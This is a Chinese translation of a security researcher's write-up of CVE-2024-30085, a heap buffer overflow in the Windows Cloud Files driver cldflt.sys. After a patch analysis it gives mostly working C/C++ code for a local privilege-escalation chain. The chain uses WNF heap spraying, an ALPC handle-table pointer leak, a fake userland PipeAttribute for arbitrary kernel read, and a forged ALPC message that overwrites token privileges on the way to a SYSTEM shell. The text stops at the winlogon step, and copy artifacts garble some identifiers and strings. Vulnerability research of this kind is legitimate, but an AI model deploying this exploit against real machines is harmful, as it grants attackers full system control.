【翻译】All I Want for Christmas is a CVE-2024-30085 Exploit
概述
CVE-2024-30085 是一个影响 Windows 云文件迷你过滤驱动程序cldflt.sys
的基于堆的缓冲区溢出漏洞。通过构造自定义重解析点,可以触发缓冲区溢出来破坏相邻的_WNF_STATE_DATA
对象。被破坏的_WNF_STATE_DATA
对象可用于从 ALPC 句柄表对象中泄露内核指针。然后使用第二次缓冲区溢出来破坏另一个_WNF_STATE_DATA
对象,该对象随后用于破坏相邻的PipeAttribute
对象。通过在用户空间伪造PipeAttribute
对象,我们能够泄露令牌地址并覆盖权限以提升到 NT AUTHORITYSYSTEM 权限。
目录
-
cldflt.sys 简介 -
漏洞分析与补丁 -
重解析点结构 -
触发漏洞 -
利用概述 -
获取内核指针泄露 -
任意读取 -
权限提升 -
漏洞利用演示
cldflt.sys 简介
cldflt.sys
是 Windows 云文件迷你过滤驱动程序,它允许用户在远程服务器和本地客户端之间管理和同步文件。cldflt.sys
通过创建占位符文件和目录工作,这些占位符以重解析点的形式实现。占位符允许文件的实际内容存储在其他位置,并按需检索(称为"hydration"),同时在系统上表现得像普通文件一样。用户可以通过云文件 API 创建和管理占位符。
漏洞分析与补丁
CVE-2024-30085是由 SSD Secure Disclosure 的 Alex Birnberg 以及 Theori 的 Gwangun Jung 和 Junoh Lee 发现的基于堆的缓冲区溢出漏洞。对于 Windows 10 22H2,此漏洞在KB5039211更新中得到修复。
查看补丁对比,很明显HsmIBitmapNORMALOpen
函数已被修改。
左侧显示的是存在漏洞的驱动程序二进制文件,右侧是修补后的驱动程序二进制文件。从这里我们可以看到,添加了一个额外的代码块cmp r14d, 0x1000
。让我们看看未修补函数的部分反编译代码:
if (local_70 == 0x0) || (0xffe < memcpy_size - 1) {
Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348);
if (Dst == 0x0) {
HsmDbgBreakOnStatus(-0x3fffff66);
... // Go to error path
}
memcpy(Dst, local_70, memcpy_size);
} else {
iVar13 = *(int *)((memcpy_size - 4) + (longlong)local_70);
if (iVar13 == -1) && (memcpy_size == 4) {
*(uint *)(Dst + 2) = *(uint *)(Dst + 2) | 0x10;
} else {
Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); // Allocate a HsBm object
if (Dst == 0x0) {
HsmDbgBreakOnStatus(-0x3fffff66);
... // Go to error path
}
}
memcpy(Dst, local_70, memcpy_size); // Vulnerable memcpy, we control local_70and memcpy_size!
...
}
驱动程序在分页池中分配大小为 0x1000 的 HsBm 对象,并将大小为 memcpy_size
的数据复制到已分配的缓冲区中。由于用户能够控制被复制的数据以及 memcpy_size
的值,如果 memcpy_size
大于 0x1000,就会在分页池中发生基于堆的缓冲区溢出!
if (((int)uVar7 != 0) && (0x1000 < memcpy_size)) {
HsmDbgBreakOnStatus(-0x3fff30fe);
... // Go to error path
}
为了修补这个漏洞,添加了一个检查来确定 memcpy_size
是否小于或等于 0x1000,只有在通过此检查后才会调用 memcpy。
重解析点结构
然而,为了理解如何触发这个漏洞,我们必须首先了解 cldflt 驱动程序用于存储数据的重解析点的结构。
重解析点由重解析标签和用户定义数据组成,其中重解析标签用于标识拥有该重解析点的文件系统驱动程序。在本例中,当我们创建用于利用的文件时,我们将使用 IO_REPARSE_TAG_CLOUD_6
(0x9000601a) 作为重解析标签。
用户定义数据具有以下结构:
typedefstruct_REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
DataBuffer
具有可变大小,包含由云过滤驱动程序设置的自定义数据,其格式如下:
struct _HSM_REPARSE_DATA {
USHORT Flags;
USHORT Length;
HSM_DATA FileData;
} HSM_REPARSE_DATA, *PHSM_REPARSE_DATA;
当 cldflt.sys
创建重解析点时,如果数据大小超过 0x100 字节,它会使用 RtlCompressBuffer
和 COMPRESSION_FORMAT_LZNT1
压缩格式来压缩数据。如果没有使用压缩,Flags
设置为 0x1;如果使用了压缩,则设置为 0x8001。Length
表示整个 _HSM_REPARSE_DATA
结构的大小。FileData
的结构如下:
typedefstruct_HSM_DATA
{
ULONG Magic;
ULONG Crc32;
ULONG Length;
USHORT Flags;
USHORT NumberOfElements;
HSM_ELEMENT_INFO ElementInfos[1];
} HSM_DATA, *PHSM_DATA;
对于位图数据,Magic
被设置为 0x70527442("BtRp"),对于文件数据则设置为 0x70526546("FeRp")。如果存在 CRC32 校验值,它将被包含在结构中。CRC32 是使用 RtlComputeCrc32
计算得出的。Length
表示整个 _HSM_DATA
对象的大小。如果存在 CRC32 校验和值,Flags
将被设置为 0x2。一个 _HSM_DATA
结构可以包含多个元素,这些元素采用以下形式:
typedefstruct_HSM_ELEMENT_INFO
{
USHORT Type;
USHORT Length;
ULONG Offset;
} HSM_ELEMENT_INFO, *PHSM_ELEMENT_INFO;
元素可以具有以下类型:
#define HSM_ELEMENT_TYPE_UINT64 0x06
#define HSM_ELEMENT_TYPE_BYTE 0x07
#define HSM_ELEMENT_TYPE_UINT32 0x0a
#define HSM_ELEMENT_TYPE_BITMAP 0x11
#define HSM_ELEMENT_TYPE_MAX 0x12
Length
表示元素数据的大小,而 offset
是相对于 _HSM_DATA
结构体起始位置的偏移量。
触发漏洞
让我们来看看触发此漏洞所需的代码路径:
-> HsmFltPostCREATE
-> HsmiFltPostECPCREATE
-> HsmpSetupContexts
-> HsmpCtxCreateStreamContext
-> HsmIBitmapNORMALOpen
通过打开包含 cldflt 重解析数据的文件,我们可以到达 HsmpCtxCreateStreamContext
。但是,为了到达 HsmIBitmapNORMALOpen
触发易受攻击的 memcpy
,我们需要通过与 FeRp 对象及其嵌套的 BtRp 对象相关的某些检查。
当到达 HsmpCtxCreateStreamContext
时,它会调用 HsmpRpValidateBuffer
,该函数将对重解析数据执行检查。它首先检查 _HSM_DATA
对象的长度和魔数,然后计算其 CRC32。接着检查元素数量以确保其小于 0xa,这是 FeRp 对象的最大元素数量。一旦初始检查通过,函数会遍历所有元素以确保元素偏移量和长度之和不超过数据对象的长度。
完成后,会对每个元素执行检查,通常包括以下内容:
-
检查元素类型是否在允许的类型范围内(即小于 HSM_ELEMENT_TYPE_MAX
,即 0x12) -
检查元素偏移量 -
检查元素大小
在这种情况下,FeRp 对象的元素必须满足以下条件:
-
元素 0 必须是 BYTE 类型 (0x07) -
元素 1 必须是 UINT32 类型 (0x0a) -
元素 2 必须是 UINT64 类型 (0x06) -
元素 4 必须是 BITMAP 类型 (0x11)
然后调用 HsmpBitmapIsReparseBufferSupported
对嵌套的 BtRp 对象执行检查。执行类似于 FeRp 对象的初始检查,但不计算 CRC32。BtRp 对象允许的最大元素数量是 0x5。这些元素必须满足以下条件:
-
元素 0 必须是 BYTE 类型 (0x07) -
元素 1 必须是 BYTE 类型 (0x07) -
元素 2 必须是 BYTE 类型 (0x07)
一旦 HsmpBitmapIsReparseBufferSupported
完成,它返回到 HsmpRpValidateBuffer
,后者返回到 HsmpCtxCreateStreamContext
,最后调用 HsmIBitmapNORMALOpen
。HsmIBitmapNORMALOpen
也对 BtRp 对象的元素实施检查:
-
元素 1 必须是 BYTE 类型 (0x07),且值必须为 0x1 -
元素 2 必须是 BYTE 类型 (0x07) -
元素 3 必须是 UINT64 类型 (0x06) -
元素 4 必须是 BITMAP 类型 (0x11)
一旦满足所有这些条件,我们就能最终到达易受攻击的 memcpy!
为了触发漏洞,我们首先需要使用云过滤器 API 注册一个同步根:
CF_SYNC_REGISTRATION CfSyncRegistration = { 0 };
CfSyncRegistration.StructSize = sizeof(CF_SYNC_REGISTRATION);
CfSyncRegistration.ProviderName = L"FFE4";
CfSyncRegistration.ProviderVersion = L"1.0";
CfSyncRegistration.ProviderId = { 0xf4d808a4, 0xa493, 0x4703, { 0xa8, 0xb8, 0xe2, 0x6a, 0x7, 0x7a, 0xd7, 0x3b } };
CF_SYNC_POLICIES CfSyncPolicies = { 0 };
CfSyncPolicies.StructSize = sizeof(CF_SYNC_POLICIES);
CfSyncPolicies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
CfSyncPolicies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
CfSyncPolicies.InSync = CF_INSYNC_POLICY_NONE;
CfSyncPolicies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
CfSyncPolicies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;
hRet = CfRegisterSyncRoot(SyncRoot, &CfSyncRegistration, &CfSyncPolicies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (!SUCCEEDED(hRet)) {
CfUnregisterSyncRoot(SyncRoot);
cout << "CfRegisterSyncRoot failed! error=" << GetLastError() << endl;
return-1;
}
printf("[+] CfRegisterSyncRoot success: 0x%lxn", hRet);
然后我们将在同步根目录中创建文件:
HANDLE hFile1;
CStringFullFileName1=L"c:\windows\temp\test";
hFile1 =CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile1 ==INVALID_HANDLE_VALUE) {
cout <<"Open file failed! error="<<GetLastError() << endl;
return-1;
}
printf("[+] Created exploit file 1: %dn", hFile1);
最后,我们将使用 FSCTL_SET_REPARSE_POINT_EX
来设置重解析点数据。
hBool = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &RpBufEx, (0x28+CompressedRpBufSize), NULL, 0, NULL, NULL);
if (hBool == 0) {
cout << "FSCTL_SET_REPARSE_POINT_EX failed! error=" << GetLastError() << endl;
return-1;
}
printf("[+] FSCTL_SET_REPARSE_POINT_EX succeededn");
要触发漏洞代码路径,我们只需要重新打开该文件:
printf("[+] Opening file 1 to trigger vulnerabilityn");
hFile1 = 0;
hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile1 == INVALID_HANDLE_VALUE) {
cout << "Open file failed! error=" << GetLastError() << endl;
return-1;
}
printf("[+] File 1 handle: %dn", hFile1);
一旦溢出发生,机器就会崩溃!
漏洞利用概述
目前,我们在分页池中有一个大小为 0x1000 的对象溢出。为了提升权限,我们需要一个内核指针泄露,以及任意写入的能力。只要我们能控制内存布局使机器不崩溃,就可以多次触发这个漏洞。因此,我们将触发这个漏洞两次 - 第一次获取内核泄露并获得任意写入原语,第二次获得任意读取以获取令牌地址。
以下是漏洞利用计划:
-
创建漏洞利用文件 1 并设置大小为 0x1010 的自定义重解析点数据 -
喷射填充 _WNF_STATE_DATA
-
喷射第一组 _WNF_STATE_DATA
对象 -
通过释放每隔一个 _WNF_STATE_DATA
对象来制造空洞 -
第一次触发漏洞以重新占用其中一个空洞 - 这会破坏 _WNF_STATE_DATA
对象,使我们获得越界读写 -
喷射 ALPC 句柄表以重新占用剩余空洞 -
通过读取第一个被破坏的 _WNF_STATE_DATA
对象来泄露内核指针 -
创建漏洞利用文件 2 并设置大小为 0x1010 的自定义重解析点数据 -
喷射第二个填充 _WNF_STATE_DATA
-
通过释放每隔一个 _WNF_STATE_DATA
对象来制造空洞 -
第二次触发漏洞以重新占用其中一个空洞 -
喷射 PipeAttribute 以重新占用剩余空洞 -
使用第二个被破坏的 _WNF_STATE_DATA
对象破坏 PipeAttribute 对象,使其指向用户空间中的伪造对象 - 这给了我们任意读取 -
使用被破坏的 PipeAttribute 对象获取令牌地址 -
使用第一个被破坏的 _WNF_STATE_DATA
对象破坏 ALPC 句柄表以获得任意写入 -
覆盖令牌权限获得完整权限! -
获取 winlogon 进程的句柄 -
弹出 NT AUTHORITYSYSTEM
shell!!!
获取内核指针泄露
我们将使用两个内核对象来获取内核指针泄露:_WNF_STATE_DATA
和_ALPC_HANDLE_TABLE
。
让我们先看看_WNF_STATE_DATA
:
struct _WNF_STATE_DATA {
struct _WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4
ULONG DataSize; //0x8
ULONG ChangeStamp; //0xc
};
Windows 通知设施 (WNF) 是一个未公开的内核组件,用于在系统中发送通知。用于发送通知的数据存储在_WNF_STATE_DATA
对象中,该对象在分页池中分配,由大小为 0x10 的头部和紧随其后的数据组成。允许的最大 DataSize 为 0x1000,但这对我们来说不会造成问题,因为我们正在处理大小为 0x1000 的对象 (使用 0xff0 的 DataSize 意味着分配的 WNF 对象大小为 0x1000)。
为了准备_WNF_STATE_DATA
喷射,我们可以执行以下操作:
#define NUM_WNFSTATEDATA 0x450
#define WNF_MAXBUFSIZE 0x1000
PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
WNF_STATE_NAME StateNames[NUM_WNFSTATEDATA] = { 0 };
PSECURITY_DESCRIPTOR pSD = nullptr;
NTSTATUS state = 0;
char StateData[0x1000];
printf("[+] Prepare _WNF_STATE_DATA sprayn");
memset(StateData, 0x41, sizeof(StateData));
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr)) {
cout << "ConvertStringSecurityDescriptorToSecurityDescriptor failed! error=" << GetLastError() << endl;
return -1;
}
for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, WNF_MAXBUFSIZE, pSD);
if (state != 0) {
cout << "NtCreateWnfStateName failed! error=" << GetLastError() << endl;
return -1;
}
}
我们将执行第一次_WNF_STATE_DATA
喷射:
printf("[+] Spraying _WNF_STATE_DATAn");
for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
state = NtUpdateWnfStateData(&StateNames[i], StateData, (0x1000-0x10), 0, 0, 0, 0);
if (state != 0) {
cout << "NtUpdateWnfStateData failed! error=" << GetLastError() << endl;
return -1;
}
}
这将导致分页池中的内存布局如下所示:
之后,我们通过释放每个交替对象来制造空洞:
printf("[+] Poking holes by freeing every alternate WNF objectn");
for (int i = 0; i < NUM_WNFSTATEDATA; i = i + 2) {
NtDeleteWnfStateData(&StateNames[i], NULL);
state = NtDeleteWnfStateName(&StateNames[i]);
if (state != 0) {
return -1;
}
}
通过破坏结构体中的 DataSize 字段,可以使用 _WNF_STATE_DATA
对象实现越界读写。在我们的案例中,通过使用堆溢出将 DataSize 从 0xff0 更改为 0xff8,我们能够获得 8 字节的越界读写。
现在我们将打开漏洞利用文件 1 来触发漏洞,这将把我们的目标对象分配到其中一个空洞中,并溢出到相邻的 _WNF_STATE_DATA
对象中。
执行的代码路径导致我们的目标对象被释放,但这并不重要,因为 _WNF_STATE_DATA
对象的损坏已经发生。尽管如此,这就是释放后内存的样子:
现在让我们看看高级本地过程调用(ALPC)。ALPC 是 Windows 内核中一个未公开的内部进程间通信工具。徐世杰、宋建阳和李林双开发了一种技术,可以通过可变大小的 _ALPC_HANDLE_TABLE
对象实现任意读写。
struct _ALPC_HANDLE_TABLE {
struct _ALPC_HANDLE_ENTRY* Handles; //0x0
struct _EX_PUSH_LOCK Lock; //0x8
ULONGLONG TotalHandles; //0x10
ULONG Flags; //0x18
};
当创建 ALPC 端口时,会在分页池中初始分配一个大小为 0x80 的 _ALPC_HANDLE_TABLE
对象。每次调用 NtAlpcCreateResourceReserve
时,都会创建一个 _KALPC_RESERVE
数据块,并调用 AlpcAddHandleTableEntry
将其地址添加到句柄表中。
struct _KALPC_RESERVE {
struct _ALPC_PORT* OwnerPort; //0x0
struct _ALPC_HANDLE_TABLE* HandleTable; //0x8
VOID* Handle; //0x10
struct _KALPC_MESSAGE* Message; //0x18
ULONGLONG Size; //0x20
LONG Active; //0x28
};
每当句柄表空间用尽时,对象就会重新分配并将其大小加倍。这意味着句柄表的大小是可变的,从 0x80、0x100、0x200、0x400、0x800、0x1000 等依次递增。因此,通过多次调用NtAlpcCreateResourceReserve
,我们能够在分页池中分配一个大小为 0x1000 的_ALPC_HANDLE_TABLE
对象。
为了准备 ALPC 句柄表喷射,我们可以使用以下函数:
BOOL CreateALPCPorts(HANDLE* phPorts, UINT portsCount) {
ALPC_PORT_ATTRIBUTES serverPortAttr;
OBJECT_ATTRIBUTES oaPort;
HANDLE hPort;
NTSTATUS ntRet;
UNICODE_STRING usPortName;
WCHAR wszPortName[64];
for (UINT i = 0; i < portsCount; i++) {
swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\RPC Control\%s%d", g_wszPortPrefix, i);
RtlInitUnicodeString(&usPortName, wszPortName);
InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
ntRet = NtAlpcCreatePort(&phPorts[i], &oaPort, &serverPortAttr);
if (!SUCCEEDED(ntRet))
returnFALSE;
}
returnTRUE;
}
BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
for (UINT i = 0; i < portsCount; i++) {
hPort = phPorts[i];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
if (!SUCCEEDED(ntRet))
returnFALSE;
if (g_hResource == NULL) { // save only the very first
g_hResource = hResource;
}
}
}
return TRUE;
}
在 main 函数中:
#define NUM_ALPC0x800
HANDLE ports[NUM_ALPC];
CONSTUINT portsCount =NUM_ALPC;
printf("[+] Creating ALPC portsn");
bRet =CreateALPCPorts(ports, portsCount);
if (!bRet) {
printf("[!] CreateALPCPorts failedn");
return-1;
}
为了喷射 ALPC 句柄表对象:
printf("[+] Allocating ALPC reserve handlesn");
bRet = AllocateALPCReserveHandles(ports, portsCount, reservesCount - 1);
if (!bRet) {
printf("[!] CreateALPCPorts failedn");
return -1;
}
在调试器中,_ALPC_HANDLE_TABLE
对象的结构如下所示:
此时,分页池中的内存布局如下:
为了定位被破坏的_WNF_STATE_DATA
对象并获取内核指针泄露,我们可以执行以下操作:
WNF_CHANGE_STAMP stamp;
char WNFOutput[0x2000];
unsigned long WNFOutputSize = 0x1000;
int CorruptedWNFidx = -1;
state = 0;
printf("[+] Finding corrupted WNF_STATE_DATA objectn");
for (int i = 1; i < NUM_WNFSTATEDATA; i = i + 2) {
memset(WNFOutput, 0x0, sizeof(WNFOutput));
WNFOutputSize = 0x1000;
state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &stamp, WNFOutput, &WNFOutputSize);
printf(" idx: %d, stamp: 0x%lx, state: 0x%lxn", i, stamp, state);
if (stamp == 0xcafe) {
printf("[+] Found corrupted object idx: %d, stamp: 0x%lx, state: 0x%lxn", i, stamp, state);
CorruptedWNFidx = i;
ALPC_leak = *((unsigned long long *)(WNFOutput + 0xff0));
printf("[+] KALPC_RESERVE leak: 0x%llxn", ALPC_leak);
break;
}
}
任意读取
现在我们已经获得了内核指针泄露,我们希望获得任意读取能力以获取令牌地址。为此,我们可以第二次触发漏洞来覆盖第二个_WNF_STATE_DATA
数据对象。和之前一样,我们将喷射_WNF_STATE_DATA
,通过释放每个交替对象来制造空洞,然后触发漏洞导致溢出并破坏相邻的_WNF_STATE_DATA
对象。但这次,我们将喷射PipeAttribute
,并使用被破坏的_WNF_STATE_DATA
来破坏相邻的PipeAttribute
结构。
PipeAttribute
任意读取技术是由 Corentin Bayet 和 Paul Fariello 在他们的论文Scoop the Windows 10 pool!中提出的。当创建管道时,用户可以添加属性,这些属性作为键值对存储在链表中。PipeAttribute
是一个可变大小的结构,分配在分页池中,具有以下形式:
structPipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize;
char * AttributeValue;
char data[0];
}
为了准备喷射,我们首先需要创建管道:
printf("[+] Creating pipe objectsn");
for (int i = 0; i < NUM_PIPEATTR; i++) {
ret = CreatePipe((PHANDLE)&ReadPipeArr[i], (PHANDLE)&WritePipeArr[i], NULL, 0x0);
if (ret == 0) {
cout << "CreatePipe failed! error=" << GetLastError() << endl;
return-1;
}
}
为了喷射PipeAttribute
对象,我们可以执行以下操作:
memset(PipeData, 0x43, 0x20);
memset(PipeData+0x21, 0x43, 0x40);
printf("[+] Spraying pipe_attributen");
for (int i = 0; i < NUM_PIPEATTR; i++) {
ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x11003c, PipeData, (0x1000-0x30), PipeOutput, 0x100);
if (ret != 0x0) {
cout << "NtFsControlFile pipe attribute failed! error=" << GetLastError() << endl;
return-1;
}
}
要从PipeAttribute
中读取数据,我们可以使用控制码 0x110038 调用NtFsControlFile
。这将返回大小为AttributeValueSize
的AttributeValue
给用户。需要注意的是,如果用户再次使用控制码 0x11003c 调用NtFsControlFile
来修改AttributeValue
,旧的PipeAttribute
结构将被释放,并由新的结构取代。
ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, PipeName, len, PipeData, 0x1000);
在 Windows 上,由于向后兼容性的原因,未启用监督模式访问保护 (SMAP)。因此,内核可以访问用户空间的数据。为了实现任意读取,我们可以使用被破坏的 _WNF_STATE_DATA
对 PipeAttribute
的 LIST_ENTRY
中的 Flink
指针执行越界写入,使其指向用户空间中的伪造 PipeAttribute
结构。这样,我们就可以设置 AttributeValueSize
和 AttributeValue
,从而实现从任意内核地址读取数据。
我们可以在用户空间中设置伪造的 PipeAttribute
对象,如下所示:
// Set up fake userland pipe_attribute object
*(unsigned long long *)(FakePipe) = (unsigned long long)FakePipe2; // Flink
*(unsigned long long *)(FakePipe + 0x8) = (unsigned long long)pipe_leak; // Blink
*(unsigned long long *)(FakePipe + 0x10) = (unsigned long long)FakePipeName; // Attribute name
*(unsigned long long *)(FakePipe + 0x18) = 0x30; // Attribute value size -- LEAK SIZE
*(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)ALPC_leak; // Attribute value -- LEAK POINTER
*(unsigned long long *)(FakePipe + 0x28) = 0x4545454545454545; // Data
然后使用我们第二个被破坏的 _WNF_STATE_DATA
对象来覆写内核内存中相邻 PipeAttribute
对象的 Flink
指针:
//Using WNF object 1to overwrite flink of pipe_attribute
printf("[+] Using WNF object 1 to corrupt pipe_attributen");
memset(StateData, 0x0, sizeof(StateData));
memset(StateData, 0x47, 0x200); // Just so that it is easier to see the object
*(unsigned long long *)(StateData +0xff0) = (unsigned long long)FakePipe;
state = NtUpdateWnfStateData(&SecondStateNames[CorruptedWNFidx2], StateData, 0xff8, NULL, NULL, 0xbeef, NULL);
现在内存布局如下所示:
我们现在可以执行任意读取操作。我们首先要读取的是之前泄露的 _KALPC_RESERVE
指针。通过读取 _KALPC_RESERVE
,我们可以获得指向 _ALPC_PORT
结构的指针:
struct _ALPC_PORT
{
struct _LIST_ENTRY PortListEntry; //0x0
struct _ALPC_COMMUNICATION_INFO* CommunicationInfo; //0x10
struct _EPROCESS* OwnerProcess; //0x18
...
}
执行泄露操作:
printf("[+] Arbitrary read from corrupted pipe_attribute objectn");
int CorruptedPipeIdx = -1;
for (int i = 0; i < NUM_PIPEATTR; i++) {
memset(PipeData, 0x0, sizeof(PipeData));
ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
if (ret == 0) {
printf("[+] Reached fake pipe_attribute in userlandn");
ALPC_port_leak = *((unsignedlonglong *)(PipeData));
ALPC_handle_table = ((unsignedlonglong *)(PipeData))[1];
ALPC_message_leak = ((unsignedlonglong *)(PipeData))[3];
CorruptedPipeIdx = i;
printf("[+] ALPC port leak: 0x%llxn", ALPC_port_leak);
printf("[+] ALPC handle table leak: 0x%llxn", ALPC_handle_table);
printf("[+] ALPC message leak: 0x%llxn", ALPC_message_leak);
break;
}
}
从 _ALPC_PORT
结构体中,我们可以获取到 EPROCESS
的地址。由于 ALPC 端口属于我们当前进程,这个 EPROCESS
就是我们当前进程的结构体。令牌指针位于 EPROCESS
偏移量 0x4b8 处,我们可以通过读取 EPROCESS
来获取它。
执行这些泄露操作:
// Leak EPROCESS
printf("[+] Leaking data in ALPC_portn");
memset(PipeData, 0x0, sizeof(PipeData));
*(unsigned long long *)(FakePipe + 0x18) = 0x1d8; // Attribute value size -- LEAK SIZE
*(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(ALPC_port_leak); // Attribute value -- LEAK POINTER
ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
EPROCESS_leak = ((unsigned long long *)(PipeData))[3];
printf("[+] EPROCESS leak: 0x%llxn", EPROCESS_leak);
// Leak token
int pid = GetCurrentProcessId();
printf("[+] Current PID: 0x%lxn", pid);
memset(PipeData, 0x0, sizeof(PipeData));
*(unsigned long long *)(FakePipe + 0x18) = 0xa40; // Attribute value size -- LEAK SIZE
*(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(EPROCESS_leak); // Attribute value -- LEAK POINTER
ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
token_leak = ((unsigned long long *)(PipeData))[151] & 0xFFFFFFFFFFFFFFF0;
printf("[+] Leaked PID: 0x%lxn", ((unsigned long long *)(PipeData))[136]);
printf("[+] Leaked token: 0x%llxn", token_leak);
权限提升
现在我们已经获得了令牌地址,终于可以提升权限以获取 NT AUTHORITYSYSTEM 权限了!
还记得我们用来从 ALPC 句柄表中泄露 _KALPC_RESERVE
指针的第一个 _WNF_STATE_DATA
对象吗?我们可以使用相同的 _WNF_STATE_DATA
对象来将该指针覆盖为指向用户空间中伪造的 _KALPC_RESERVE
结构的指针。在 _KALPC_RESERVE
结构中,有一个指向 _KALPC_MESSAGE
的指针:
struct _KALPC_MESSAGE {
struct _LIST_ENTRY Entry; //0x0
struct _ALPC_PORT* PortQueue; //0x10
struct _ALPC_PORT* OwnerPort; //0x18
struct _ETHREAD* WaitingThread; //0x20
union
{
struct
{
ULONG QueueType:3; //0x28
ULONG QueuePortType:4; //0x28
ULONG Canceled:1; //0x28
ULONG Ready:1; //0x28
ULONG ReleaseMessage:1; //0x28
ULONG SharedQuota:1; //0x28
ULONG ReplyWaitReply:1; //0x28
ULONG OwnerPortReference:1; //0x28
ULONG ReceiverReference:1; //0x28
ULONG ViewAttributeRetrieved:1; //0x28
ULONG InDispatch:1; //0x28
ULONG InCanceledQueue:1; //0x28
} s1; //0x28
ULONG State; //0x28
} u1; //0x28
LONG SequenceNo; //0x2c
union
{
struct _EPROCESS* QuotaProcess; //0x30
VOID* QuotaBlock; //0x30
};
struct _ALPC_PORT* CancelSequencePort; //0x38
struct _ALPC_PORT* CancelQueuePort; //0x40
LONG CancelSequenceNo; //0x48
struct _LIST_ENTRY CancelListEntry; //0x50
struct _KALPC_RESERVE* Reserve; //0x60
struct _KALPC_MESSAGE_ATTRIBUTES MessageAttributes; //0x68
VOID* DataUserVa; //0xb0
struct _ALPC_COMMUNICATION_INFO* CommunicationInfo; //0xb8
struct _ALPC_PORT* ConnectionPort; //0xc0
struct _ETHREAD* ServerThread; //0xc8
VOID* WakeReference; //0xd0
VOID* WakeReference2; //0xd8
VOID* ExtensionBuffer; //0xe0
ULONGLONG ExtensionBufferSize; //0xe8
struct _PORT_MESSAGE PortMessage; //0xf0
};
在_KALPC_MESSAGE
结构中,有两个对我们很有价值的字段:ExtensisonBuffer
和ExtensionBufferSize
。当调用NtAlpcSendWaitReceivePort
时,大小为ExtensionBufferSize
的用户可控数据会被写入到ExtensionBuffer
。为了实现任意写入,我们可以让伪造的_KALPC_RESERVE
结构指向一个伪造的_KALPC_MESSAGE
结构 (同样在用户空间),并将ExtensionBuffer
设置为我们想要写入的目标位置!
在这种情况下,我们将ExtensionBuffer
设置为令牌权限 (位于偏移量 0x40 处),并将ExtensionBufferSize
设置为 0x10,这样我们就可以写入 16 个xff
来启用所有权限:
printf("[+] Using WNF object 1 to overwrite KALPC_RESERVEn");
memset(StateData, 0x0, sizeof(StateData));
memset(StateData, 0x48, 0x200); // Just so that it is easier to see the object
*(unsigned long long *)(StateData + 0xff0) = (unsigned long long)fakeKalpcReserve;
state = NtUpdateWnfStateData(&StateNames[CorruptedWNFidx], StateData, 0xff8, NULL, NULL, 0xcafe, NULL);
printf("[+] Overwriting token privsn");
ULONG DataLength = 0x10;
ALPC_MESSAGE* alpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE));
pAlpcMsgData[0] = 0xffffffffffffffff;
pAlpcMsgData[1] = 0xffffffffffffffff;
for (int i = 0; i < portsCount; i++) {
ret = NtAlpcSendWaitReceivePort(ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);
}
完成这些之后,我们只需要找到 winlogon 进程的 PID,获取该进程的句柄,然后使用该句柄创建一个 cmd.exe 进程,就可以获得一个 NT AUTHORITYSYSTEM 权限的 shell!
// Find PID of winlogon
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
